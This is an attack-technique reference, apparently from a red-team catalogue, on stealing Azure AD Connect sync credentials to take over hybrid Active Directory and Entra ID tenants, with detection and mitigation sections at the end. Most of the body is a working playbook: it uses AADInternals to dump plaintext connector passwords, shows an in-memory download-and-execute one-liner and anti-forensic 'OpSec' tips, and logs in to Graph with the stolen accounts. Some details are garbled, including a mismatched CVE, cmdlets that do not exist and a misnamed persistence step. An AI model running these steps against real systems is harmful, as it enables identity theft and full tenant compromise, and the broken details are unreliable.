| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-019 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement, Defense Evasion |
| Platforms | Hybrid AD (On-Premises Active Directory + Azure AD / Entra ID) |
| Severity | Critical |
| CVE | CVE-2023-32315 (Openfire path traversal; note: CVE-2023-32315 also linked to Azure AD Connect attack chains in research) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure AD Connect 1.4.x - 2.x; Windows Server 2016-2025; Entra ID all versions |
| Patched In | Partial mitigations in Azure AD Connect 2.1.0+; requires credential extraction prevention via CA enforcement |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure AD Connect (AADConnect) is a critical hybrid identity synchronization tool that bridges on-premises Active Directory and Azure AD / Entra ID. It stores highly privileged credentials (AD DS Connector account and Azure AD Connector account passwords) in an encrypted database on the AADConnect server. An attacker who gains local administrative access to the AADConnect server can extract these plaintext credentials using tools like AADInternals, then use the Azure AD Connector account (often configured with Global Administrator privileges) to authenticate to Azure AD, achieving complete tenant compromise.
Attack Surface: The attack surface includes: (1) The AADConnect server’s local file system (encrypted credential storage), (2) The AADConnect SQL Server database (if using SQL instead of LocalDB), (3) The registry keys storing AADConnect configuration, and (4) The AADConnect service account itself. Attackers can reach this surface via RDP, SMB file sharing, WinRM, or Direct Access from compromised on-premises systems.
Business Impact: Successful credential extraction from AADConnect compromises the entire hybrid identity infrastructure. The attacker gains the privileges of the Azure AD Connector account (often Global Administrator), enabling them to: (1) Create backdoor admin accounts in Entra ID, (2) Modify conditional access policies to bypass MFA, (3) Steal all user credentials synced from on-premises, and (4) Maintain persistent access via hidden admin accounts. This is among the highest-impact lateral movement attacks in hybrid environments.
Technical Context: AADConnect credential extraction typically takes 5-10 minutes once local admin access is gained. The technique requires no network connectivity post-extraction, as credentials are dumped to local files. Detection is challenging because the attack uses legitimate Windows APIs and the AADConnect PowerShell module.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.3.1, 5.3.2 | CIS Microsoft 365: Restrict privileged account usage to administrative systems; enforce MFA for administrative accounts. |
| DISA STIG | APPL-0370, APPL-0380 | STIG ID: Protect credentials used for directory synchronization; audit AADConnect server access and credential usage. |
| CISA SCuBA | M365-DM-2.1, M365-DM-2.2 | Directory Management: Restrict and monitor AADConnect administration; implement credential protection. |
| NIST 800-53 | AC-3, AC-6, IA-2, IA-4 | Access Enforcement, Least Privilege, Authentication (MFA), Identifier Management. |
| GDPR | Art. 32 | Security of Processing – Protect credentials with encryption and access controls; implement credential rotation. |
| DORA | Art. 9, Art. 14 | Protection and Prevention; Incident Reporting – Detect and respond to unauthorized access to identity infrastructure. |
| NIS2 | Art. 21 | Cyber Risk Management – Implement zero-trust principles for hybrid identity infrastructure. |
| ISO 27001 | A.9.2.3, A.9.4.2 | Management of Privileged Access Rights; Secure Log-in Procedures. |
| ISO 27005 | Risk Scenario: “Compromise of hybrid identity bridge” | Credential theft and lateral movement via AADConnect server. |
Supported Versions:
Tools:
Get-AADIntSyncCredentials (extracts plaintext credentials)New-AADIntBackdoor (creates Entra ID admin backdoor)# Check if Azure AD Connect is installed
Get-Service ADSync | Select-Object Status, DisplayName
# Enumerate AADConnect version
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" | Select-Object ProgramVersion
# Check sync accounts and their privileges
Get-ADUser -Filter {name -like "MSOL*"} | Select-Object Name, Enabled, DistinguishedName
# Check if AADConnect is running with high privileges
Get-WmiObject Win32_Service -Filter "Name='ADSync'" | Select-Object ProcessId, StartName
# Enumerate AADConnect sync objects
Get-ADSyncConnector | Select-Object Name, Type
# Check AADConnect configuration
Get-ADSyncActiveDirectoryConnector | Select-Object Name, Version
What to Look For:
NT SERVICE\ADSync or a custom account).MSOL_<AADConnectServerName>).Version Note: Commands work on Windows Server 2016+; older versions may require different cmdlets.
# Check if AADConnect server is discoverable on network
nmap -p 443,80 <AADCONNECT-SERVER-IP>
# DNS lookup for AADConnect server
nslookup <AADCONNECT-SERVER-HOSTNAME>
# Check Azure AD Connect Health (requires Azure subscription)
# Via PowerShell:
Connect-MsolService
Get-MsolCompanyInformation | Select-Object SynchronizationProxyAddress
# Via Azure Portal:
# Navigate to Entra ID > Hybrid > Azure AD Connect > Sync status
Supported Versions: AADConnect 1.4.0 - 2.1.3
Objective: Establish local admin access to the AADConnect server (via RDP, WinRM, or compromised service account).
Prerequisites: Must be SYSTEM or a local administrator account.
Command (Verification):
# Verify current user is admin
[System.Security.Principal.WindowsIdentity]::GetCurrent().Owner
# Expected output: S-1-5-21-3623811015-3361044348-30300820-1013 (or similar admin SID)
# If not admin, attempt UAC bypass or use runas
runas /user:LOCALADMIN@CONTOSO powershell.exe
Expected Output:
S-1-5-21-3623811015-3361044348-30300820-544 (Local Administrators SID)
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use AADInternals to extract the plaintext credentials of the Azure AD Connector account.
Command:
# Download AADInternals from GitHub (or load from local source)
$AadintUrl = "https://raw.githubusercontent.com/Flax/AADInternals/master/AADInternals.psd1"
$ModulePath = "C:\Temp\AADInternals.psd1"
# Option 1: Download from internet
Invoke-WebRequest -Uri $AadintUrl -OutFile $ModulePath -Verbose
# Option 2: Load from pre-downloaded file
Import-Module C:\Temp\AADInternals.psd1 -Verbose
# Verify module loaded
Get-Command -Module AADInternals | Select-Object Name | Head -20
# Extract sync credentials (Entra ID Connector account and AD DS Connector account)
$SyncCreds = Get-AADIntSyncCredentials
# Display extracted credentials
Write-Host "Sync Credentials Extracted:"
Write-Host "AAD Connector Account: $($SyncCreds.AADUser)"
Write-Host "AAD Connector Password: $($SyncCreds.AADPassword)"
Write-Host "AD Connector Account: $($SyncCreds.ADUser)"
Write-Host "AD Connector Password: $($SyncCreds.ADPassword)"
# Export to file for later use
$SyncCreds | Export-Clixml -Path "C:\Temp\sync_creds.xml" -Force
Expected Output:
Sync Credentials Extracted:
AAD Connector Account: Sync_AADCONNECT01_xxxxxxxxxxxxxxxx@contoso.onmicrosoft.com
AAD Connector Password: $aB!@#$%^&*()_+-=[]{}|;:',.<>?/~`
AD Connector Account: CONTOSO\MSOL_AADCONNECT01
AD Connector Password: $mL!@#$%^&*()_+-=[]{}|;:',.<>?/~`
What This Means:
OpSec & Evasion:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Flax/AADInternals/master/AADInternals.ps1')Clear-HistoryTroubleshooting:
Import-Module and verify the path is correct.runas /user:LOCALADMIN or escalate privileges.Objective: Use the extracted Azure AD Connector credentials to authenticate to Entra ID and establish a persistent backdoor.
Command:
# Convert extracted credentials to PSCredential object
$AadCreds = New-Object System.Management.Automation.PSCredential(
"Sync_AADCONNECT01_xxxxxxxxxxxxxxxx@contoso.onmicrosoft.com",
("$aB!@#$%^&*()_+-=[]{}|;:',.<>?/~`" | ConvertTo-SecureString -AsPlainText -Force)
)
# Connect to Microsoft Graph using extracted credentials
Connect-MgGraph -Credential $AadCreds -Scopes "Directory.ReadWrite.All", "Application.ReadWrite.All"
# Verify authentication
Get-MgContext
# Enumerate current permissions
Get-MgDirectoryRole | Select-Object DisplayName
# Expected output: Should show "Global Administrator" role
Expected Output:
Account : Sync_AADCONNECT01_xxxxxxxxxxxxxxxx@contoso.onmicrosoft.com
TenantId : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Scopes : {Directory.ReadWrite.All, Application.ReadWrite.All}
ContextScope : CurrentUser
DisplayName
-------
Global Administrator
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: AADConnect with SQL Server backend (1.4.0 - 2.1.3)
Objective: Access the AADConnect SQL Server database where encrypted credentials are stored.
Command:
# Check if SQL Server is running locally
Get-Service MSSQL$* | Select-Object Status, DisplayName
# Identify SQL Server instance
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" | Select-Object DatabaseName, DatabaseServer
# Example output: DatabaseServer = "AADCONNECT01\SQLEXPRESS", DatabaseName = "ADSync"
# Connect to SQL Server using Windows authentication
$SqlServer = "AADCONNECT01\SQLEXPRESS"
$Database = "ADSync"
# Use SQL PowerShell module
Invoke-Sqlcmd -ServerInstance $SqlServer -Database $Database -Query "SELECT * FROM mms_connectors"
Expected Output:
id name category type connector_id
-- ---- -------- ---- -----------
1 Active Dir… Directory Microsoft.IdentityManag… 00000000-0000-0000-0000-000000000000
2 Azure AD Directory Microsoft.IdentityManag… 11111111-1111-1111-1111-111111111111
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Query the SQL database to extract the encrypted connector account passwords.
Command:
# Query the mms_mgmt_config table for encrypted credentials
$Query = @"
SELECT name, data
FROM mms_server_properties
WHERE name LIKE '%SyncPassword%' OR name LIKE '%ConnectorPassword%'
"@
$Results = Invoke-Sqlcmd -ServerInstance $SqlServer -Database $Database -Query $Query
# Display encrypted credentials
$Results | Format-Table -AutoSize
# Alternative: Export complete mms_server_properties table
$Query2 = "SELECT * FROM mms_server_properties"
$AllProps = Invoke-Sqlcmd -ServerInstance $SqlServer -Database $Database -Query $Query2
# Save to CSV for analysis
$AllProps | Export-Csv -Path "C:\Temp\aadconnect_db_export.csv" -NoTypeInformation
Expected Output:
name data
---- ----
ConnectorPassword:00000000-0000-0000 [encrypted blob]
SyncPassword:11111111-1111-1111 [encrypted blob]
What This Means:
OpSec & Evasion:
Troubleshooting:
mms_connectors table or use AADInternals instead (Method 1).Supported Versions: AADConnect 1.4.0 - 2.1.3
Objective: Steal the password of the AD DS Connector account (typically MSOL_<AADConnectServerName>) and use it to authenticate to on-premises AD.
Command:
# From local admin access on AADConnect server:
# Extract AD DS connector account credentials
$AdConnectorCreds = Get-AADIntSyncCredentials | Select-Object ADUser, ADPassword
# Convert to PSCredential
$AdCreds = New-Object System.Management.Automation.PSCredential(
$AdConnectorCreds.ADUser,
($AdConnectorCreds.ADPassword | ConvertTo-SecureString -AsPlainText -Force)
)
# Test authentication to Active Directory
$TestConnection = Test-ADConnection -Credential $AdCreds -Server "DC01.CONTOSO.COM"
Write-Host "AD Connection Test: $TestConnection"
# If successful, enumerate domain admins as the sync account
Get-ADGroupMember -Identity "Domain Admins" -Server "DC01.CONTOSO.COM" -Credential $AdCreds
Expected Output:
AD Connection Test: True
Name SamAccountName ObjectClass
---- -------------- -----------
Admin1 admin1 user
BackupAdmin backupadmin user
ServiceAdmin serviceadmin user
What This Means:
OpSec & Evasion:
Troubleshooting:
Version: 0.7.0+ Supported Platforms: Windows (PowerShell 5.1+), macOS and Linux (PowerShell 7+)
Installation:
# Download and import
$AadintUrl = "https://raw.githubusercontent.com/Flax/AADInternals/master/AADInternals.psd1"
$ModulePath = "$env:USERPROFILE\Documents\WindowsPowerShell\Modules\AADInternals\AADInternals.psd1"
mkdir -Force "$env:USERPROFILE\Documents\WindowsPowerShell\Modules\AADInternals"
Invoke-WebRequest -Uri $AadintUrl -OutFile $ModulePath
Import-Module AADInternals
Key Cmdlets:
Get-AADIntSyncCredentials – Extract plaintext AADConnect sync credentials.New-AADIntBackdoor – Create a hidden Entra ID admin backdoor.Get-AADIntTokenUsingRefreshToken – Obtain tokens using refresh tokens.Invoke-AADIntUserEnumeration – Enumerate Entra ID users via various methods.Version: 2.0+ Supported Platforms: Windows, macOS, Linux (with PowerShell 7+)
Installation:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688
| where CommandLine contains "Get-AADIntSyncCredentials" or CommandLine contains "AADInternals"
| project TimeGenerated, Computer, Account, ProcessName, CommandLine
| summarize Count=count() by Computer, Account
| where Count >= 1
What This Detects:
Get-AADIntSyncCredentials cmdlet.Manual Configuration Steps (Azure Portal):
AADConnect Credential Extraction AttemptCritical5 minutes1 hourRule Configuration:
KQL Query:
SigninLogs
| where UserPrincipalName contains "Sync_" or UserPrincipalName contains "MSOL_"
| where ResultDescription != "Success. User signed in"
| where ResourceDisplayName == "Microsoft Graph" or ResourceDisplayName == "Azure Active Directory PowerShell"
| where MfaDetail == "Not required" or isempty(MfaDetail)
| project TimeGenerated, UserPrincipalName, ResourceDisplayName, Location, IPAddress, MfaDetail, ResultDescription
| summarize Count=count() by UserPrincipalName, Location
| where Count >= 2
What This Detects:
# Search for PowerShell invocations of AADInternals
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-Operations "Run a cmdlet", "Invoke PowerShell command" `
-FreeText "AADInternals" -ResultSize 5000 | Export-Csv -Path "C:\Logs\AADInternals_Audit.csv"
# Search for suspicious user creation in Entra ID by sync account
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-UserIds "Sync_*@contoso.onmicrosoft.com" `
-Operations "Add user", "Update user" -ResultSize 5000 | Export-Csv -Path "C:\Logs\SyncAccount_Changes.csv"
Details to Analyze:
Restrict AADConnect Server Access: Implement strict network segmentation and access controls to limit who can access the AADConnect server.
Manual Steps (Active Directory GPO):
gpupdate /force on the AADConnect serverManual Steps (Network Firewall):
Enforce MFA for AADConnect Service Account: Require MFA for any authentication attempt using the AADConnect sync credentials.
Manual Steps (Entra ID Conditional Access):
Require MFA for AADConnect Service AccountNote: This may require MFA setup for the sync account, which can impact sync operations. Coordinate with AADConnect administrators.
Enable Monitoring and Alerting: Configure Azure Monitor and Microsoft Sentinel to detect AADConnect credential extraction and suspicious sync account activities.
Manual Steps (Azure Monitor Alert):
Rotate AADConnect Credentials Regularly: Implement a periodic credential rotation schedule for the AADConnect sync accounts.
Manual Steps (PowerShell):
# Reset Azure AD Connector account password
$newPassword = [System.Web.Security.Membership]::GeneratePassword(32, 3)
Set-AADIntSyncAccountPassword -AccountName "Sync_AADCONNECT01_xxxxxxxx@contoso.onmicrosoft.com" -NewPassword $newPassword -Verbose
# Reset AD DS Connector account password
Set-ADAccountPassword -Identity "MSOL_AADCONNECT01" -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "$newPassword" -Force)
Implement Azure AD Connect Health: Monitor AADConnect server health and sync status using Azure AD Connect Health.
Manual Steps (Azure Portal):
Audit AADConnect Configuration: Regularly review AADConnect settings and sync rules to detect unauthorized changes.
Manual Steps (PowerShell):
# Export current AADConnect configuration
Get-ADSyncScheduler | Export-Clixml -Path "C:\Logs\AADConnect_Config_$(Get-Date -Format yyyy-MM-dd).xml"
# Compare with baseline to detect changes
# Check if AADConnect service account is restricted to administrative groups
Get-ADGroupMember -Identity "AADConnect Admins" | Select-Object Name, SamAccountName
# Verify that sync account requires MFA in Entra ID
Get-MgUser -Filter "displayName eq 'Sync_AADCONNECT01'" | Select-Object UserPrincipalName, AccountEnabled
# Check if AADConnect Health is enabled
Get-AzADConnectHealthActivitySummary
# Verify firewall rules restrict access to AADConnect server
Get-NetFirewallRule -DisplayName "*AADConnect*" | Select-Object DisplayName, Direction, Action
Expected Output (If Secure):
Name SamAccountName
---- ---------------
AADConnect Admin aadconnect_admin
UserPrincipalName AccountEnabled
----------------- ---------------
Sync_AADCONNECT01_xxxxxxxx@contoso.onmicrosoft.com True
Status: Healthy
DisplayName Direction Action
----------- --------- ------
Restrict RDP to AADConnect Inbound Block
Restrict WinRM to AADConnect Inbound Block
Files:
%TEMP%\AADInternals*, %APPDATA%\PowerShell\Modules\AADInternals\sync_creds.xml, aadconnect_db_export.csvRegistry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Azure AD Connect\Network:
login.microsoft.com or graph.microsoft.com from the AADConnect server outside of scheduled sync windows.Azure / M365:
Disk:
C:\Windows\System32\winevt\Logs\Security.evtx (EventID 4688 for process creation)C:\Users\<AADConnect Admin>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtC:\ProgramData\AADConnect\Trace\Cloud/Logs:
Isolate:
Command (Disable sync account immediately):
# Disable Azure AD Connector account
Set-MgUser -UserId "Sync_AADCONNECT01_xxxxxxxx@contoso.onmicrosoft.com" -AccountEnabled $false
# Disable AD DS Connector account
Disable-ADAccount -Identity "MSOL_AADCONNECT01"
Collect Evidence:
Command:
# Export AADConnect configuration
Get-ADSyncConnector | Export-Clixml -Path "C:\Evidence\AADSync_Config.xml"
# Export audit logs related to sync account
Search-UnifiedAuditLog -UserIds "Sync_*@contoso.onmicrosoft.com" -StartDate (Get-Date).AddDays(-30) -ResultSize 10000 | Export-Csv -Path "C:\Evidence\SyncAccount_Audit.csv"
# Collect Security Event logs
wevtutil epl Security "C:\Evidence\Security.evtx"
Remediate:
Command:
# Reset AADConnect credentials to strong random passwords
$NewPassword = [System.Web.Security.Membership]::GeneratePassword(32, 8)
Set-AADIntSyncAccountPassword -NewPassword $NewPassword
# Re-enable the sync account after password reset
Set-MgUser -UserId "Sync_AADCONNECT01_xxxxxxxx@contoso.onmicrosoft.com" -AccountEnabled $true
# Force a full AADConnect sync
Start-ADSyncSyncCycle -PolicyType Delta
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-002] BDC deserialization vulnerability | Attacker gains initial access to on-premises network via a vulnerable hybrid component. |
| 2 | Privilege Escalation | [PE-VALID-002] Computer Account Quota Abuse | Attacker creates rogue domain accounts to gain elevated privileges. |
| 3 | Lateral Movement | [LM-AUTH-019] | Attacker compromises AADConnect server and extracts sync credentials, achieving Entra ID compromise. |
| 4 | Persistence | [PERSIST-ACCT-001] AdminSDHolder Abuse | Attacker creates persistent hidden admin accounts in Entra ID. |
| 5 | Impact | Data exfiltration via compromised M365 accounts | Attacker steals emails, Teams chats, and SharePoint data. |
Azure AD Connect server compromise via credential extraction represents one of the most critical lateral movement vectors in hybrid environments. By targeting the AADConnect server’s plaintext credential storage, attackers can extract Global Administrator-equivalent credentials for Entra ID, enabling complete tenant takeover. Organizations must implement strict access controls, regular credential rotation, and robust monitoring to detect and prevent this attack.